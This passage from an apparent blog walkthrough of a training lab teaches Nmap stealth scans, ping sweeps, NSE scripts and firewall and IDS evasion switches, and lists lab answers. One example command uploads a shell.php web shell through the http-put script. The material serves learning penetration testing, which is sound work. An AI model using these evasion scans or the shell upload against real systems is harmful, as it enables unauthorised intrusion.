a request is sent with the FIN flag (usually used to gracefully close an active connection). Once again, Nmap expects a RST if the port is closed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/0*9nsHobJGkKulBimY.png" /></figure><ul><li>As with the other two scans in this class, Xmas scans (-sX) send a malformed TCP packet and expects a RST response for closed ports. It&#39;s referred to as an xmas scan as the flags that it sets (PSH, URG and FIN) give it the appearance of a blinking christmas tree when viewed as a packet capture in Wireshark.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M0KHs3Qyt-EsUmOo.png" /></figure><p>The expected response for <em>open</em> ports with these scans is also identical, and is very similar to that of a UDP scan. If the port is open then there is no response to the malformed packet. Unfortunately (as with open UDP ports), that is <em>also </em>an expected behaviour if the port is protected by a firewall, so NULL, FIN and Xmas scans will only ever identify ports as being <em>open|filtered</em>, <em>closed</em>, or <em>filtered</em>. If a port is identified as filtered with one of these scans then it is usually because the target has responded with an ICMP unreachable packet.</p><p>It’s also worth noting that while RFC 793 mandates that network hosts respond to malformed packets with a RST TCP packet for closed ports, and don’t respond at all for open ports; this is not always the case in practice. In particular Microsoft Windows (and a lot of Cisco network devices) are known to respond with a RST to any malformed TCP packet — regardless of whether the port is actually open or not. This results in all ports showing up as being closed.</p><p>That said, the goal here is, of course, firewall evasion. Many firewalls are configured to drop incoming TCP packets to blocked ports which have the SYN flag set (thus blocking new connection initiation requests). By sending requests which do not contain the SYN flag, we effectively bypass this kind of firewall. Whilst this is good in theory, most modern IDS solutions are savvy to these scan types, so don’t rely on them to be 100% effective when dealing with modern systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_c401sDIchajJ0jGx_xJw.png" /></figure><h3>Task 9 <strong>Scan Types</strong> ICMP Network Scanning</h3><p>On first connection to a target network in a black box assignment, our first objective is to obtain a “map” of the network structure — or, in other words, we want to see which IP addresses contain active hosts, and which do not.</p><p>One way to do this is by using Nmap to perform a so called “ping sweep”. This is exactly as the name suggests: Nmap sends an ICMP packet to each possible IP address for the specified network. When it receives a response, it marks the IP address that responded as being alive. For reasons we’ll see in a later task, this is not always accurate; however, it can provide something of a baseline and thus is worth covering.</p><p>To perform a ping sweep, we use the -sn switch in conjunction with IP ranges which can be specified with either a hypen (-) or CIDR notation. i.e. we could scan the 192.168.0.x network using:</p><ul><li>nmap -sn 192.168.0.1-254</li></ul><p>or</p><ul><li>nmap -sn 192.168.0.0/24</li></ul><p>The -sn switch tells Nmap not to scan any ports -- forcing it to rely primarily on ICMP echo packets (or ARP requests on a local network, if run with sudo or directly as the root user) to identify targets. In addition to the ICMP echo requests, the -sn switch will also cause nmap to send a TCP SYN packet to port 443 of the target, as well as a TCP ACK (or TCP SYN if not run as root) packet to port 80 of the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C2YP5wcMvEMUHxe-nxBslg.png" /></figure><h3>Task 10 <strong>NSE Scripts</strong> Overview</h3><p>The <strong>N</strong>map <strong>S</strong>cripting <strong>E</strong>ngine (NSE) is an incredibly powerful addition to Nmap, extending its functionality quite considerably. NSE Scripts are written in the <em>Lua </em>programming language, and can be used to do a variety of things: from scanning for vulnerabilities, to automating exploits for them. The NSE is particularly useful for reconnaisance, however, it is well worth bearing in mind how extensive the script library is.</p><p>There are many categories available. Some useful categories include:</p><ul><li>safe:- Won&#39;t affect the target</li><li>intrusive:- Not safe: likely to affect the target</li><li>vuln:- Scan for vulnerabilities</li><li>exploit:- Attempt to exploit a vulnerability</li><li>auth:- Attempt to bypass authentication for running services (e.g. Log into an FTP server anonymously)</li><li>brute:- Attempt to bruteforce credentials for running services</li><li>discovery:- Attempt to query running services for further information about the network (e.g. query an SNMP server).</li></ul><p>A more exhaustive list can be found <a href="https://nmap.org/book/nse-usage.html">here</a>.</p><p>In the next task we’ll look at how to interact with the NSE and make use of the scripts in these categories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*57e2YRkD_mJZHwMYvbfH3g.png" /></figure><h3>Task 11 <strong>NSE Scripts</strong> Working with the NSE</h3><p>To run a specific script, we would use --script=&lt;script-name&gt; , e.g. --script=http-fileupload-exploiter.</p><p>Multiple scripts can be run simultaneously in this fashion by separating them by a comma. For example: --script=smb-enum-users,smb-enum-shares.</p><p>Some scripts require arguments (for example, credentials, if they’re exploiting an authenticated vulnerability). These can be given with the --script-args Nmap switch. An example of this would be with the http-put script (used to upload files using the PUT method). This takes two arguments: the URL to upload the file to, and the file&#39;s location on disk. For example:</p><p>nmap -p 80 --script http-put --script-args http-put.url=&#39;/dav/shell.php&#39;,http-put.file=&#39;./shell.php&#39;</p><p>Note that the arguments are separated by commas, and connected to the corresponding script with periods (i.e. &lt;script-name&gt;.&lt;argument&gt;).</p><p>A full list of scripts and their corresponding arguments (along with example use cases) can be found <a href="https://nmap.org/nsedoc/">here</a>.</p><p>Nmap scripts come with built-in help menus, which can be accessed using nmap --script-help &lt;script-name&gt;. This tends not to be as extensive as in the link given above, however, it can still be useful when working locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yRMfBtk0C4AzFwX_UFekkw.png" /></figure><h3>Task 12 <strong>NSE Scripts</strong> Searching for Scripts</h3><p>We have two options for this, which should ideally be used in conjunction with each other. The first is the page on the <a href="https://nmap.org/nsedoc/">Nmap website</a> (mentioned in the previous task) which contains a list of all official scripts. The second is the local storage on your attacking machine. Nmap stores its scripts on Linux at /usr/share/nmap/scripts. All of the NSE scripts are stored in this directory by default -- this is where Nmap looks for scripts when you specify them.</p><p>There are two ways to search for installed scripts. One is by using the /usr/share/nmap/scripts/script.db file. Despite the extension, this isn&#39;t actually a database so much as a formatted text file containing filenames and categories for each available script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*PZZs_t8_lpVDpMKD.png" /></figure><p>Nmap uses this file to keep track of (and utilise) scripts for the scripting engine; however, we can also <em>grep </em>through it to look for scripts. For example: grep &quot;ftp&quot; /usr/share/nmap/scripts/script.db.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*pTCeU0IQCEnCLElQ.png" /></figure><p>The second way to search for scripts is quite simply to use the ls command. For example, we could get the same results as in the previous screenshot by using ls -l /usr/share/nmap/scripts/*ftp*:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/0*UxYMqygdis6LjoMl.png" /></figure><p><em>Note the use of asterisks</em> (*) <em>on either side of the search term</em></p><p>The same techniques can also be used to search for categories of script. For example:<br>grep &quot;safe&quot; /usr/share/nmap/scripts/script.db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*hXWGynUJK4IYl9Ln.png" /></figure><p><em>Installing New Scripts</em></p><p>We mentioned previously that the Nmap website contains a list of scripts, so, what happens if one of these is missing in the scripts directory locally? A standard sudo apt update &amp;&amp; sudo apt install nmap should fix this; however, it&#39;s also possible to install the scripts manually by downloading the script from Nmap (sudo wget -O /usr/share/nmap/scripts/&lt;script-name&gt;.nse https://svn.nmap.org/nmap/scripts/&lt;script-name&gt;.nse). This must then be followed up with nmap --script-updatedb, which updates the script.db file to contain the newly downloaded script.</p><p>It’s worth noting that you would require the same “updatedb” command if you were to make your own NSE script and add it into Nmap — a more than manageable task with some basic knowledge of Lua!</p><p><a href="https://nmap.org/nsedoc/">NSEDoc Reference Portal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6BwTDrgx4E9ZcQoxu2z5Q.png" /></figure><h3>Task 13 Firewall Evasion</h3><p>already seen some techniques for bypassing firewalls (think stealth scans, along with NULL, FIN and Xmas scans); however, there is another very common firewall configuration which it’s imperative we know how to bypass.</p><p>Your typical Windows host will, with its default firewall, block all ICMP packets. This presents a problem: not only do we often use <em>ping</em> to manually establish the activity of a target, Nmap does the same thing by default. This means that Nmap will register a host with this firewall configuration as dead and not bother scanning it at all.</p><p>So, we need a way to get around this configuration. Fortunately Nmap provides an option for this: -Pn, which tells Nmap to not bother pinging the host before scanning it. This means that Nmap will always treat the target host(s) as being alive, effectively bypassing the ICMP block; however, it comes at the price of potentially taking a very long time to complete the scan (if the host really is dead then Nmap will still be checking and double checking every specified port).</p><p>It’s worth noting that if you’re already directly on the local network, Nmap can also use ARP requests to determine host activity.</p><p>There are a variety of other switches which Nmap considers useful for firewall evasion. We will not go through these in detail, however, they can be found <a href="https://nmap.org/book/man-bypass-firewalls-ids.html">here</a>.</p><p>The following switches are of particular note:</p><ul><li>-f:- Used to fragment the packets (i.e. split them into smaller pieces) making it less likely that the packets will be detected by a firewall or IDS.</li><li>An alternative to -f, but providing more control over the size of the packets: --mtu &lt;number&gt;, accepts a maximum transmission unit size to use for the packets sent. This <em>must</em> be a multiple of 8.</li><li>--scan-delay &lt;time&gt;ms:- used to add a delay between packets sent. This is very useful if the network is unstable, but also for evading any time-based firewall/IDS triggers which may be in place.</li><li>--badsum:- this is used to generate in invalid checksum for packets. Any real TCP/IP stack would drop this packet, however, firewalls may potentially respond automatically, without bothering to check the checksum of the packet. As such, this switch can be used to determine the presence of a firewall/IDS.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m92q6tjEK2utD7mG7_0L3Q.png" /></figure><h3>Task 14 Practical</h3><p>Does the target (10.10.213.77)respond to ICMP (ping) requests (Y/N)?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*jNxIkR_7PLT5o1HYJPzVRQ.png" /></figure><p>Perform an Xmas scan on the first 999 ports of the target — how many ports are shown to be open or filtered?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*vJTfhMrriMR0HZMbklbKZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*lpwDow3WYIfzd2c65U1cIw.png" /></figure><p>Perform a TCP SYN scan on the first 5000 ports of the target — how many ports are shown to be open?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*hyxMi38sWXlGXh3KoaCCHA.png" /></figure><p>Deploy the ftp-anon script against the box. Can Nmap login successfully to the FTP server on port 21? (Y/N) <strong>Y</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*9VDIis8qnTpla6f4S95VPQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f70755b1a5be" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>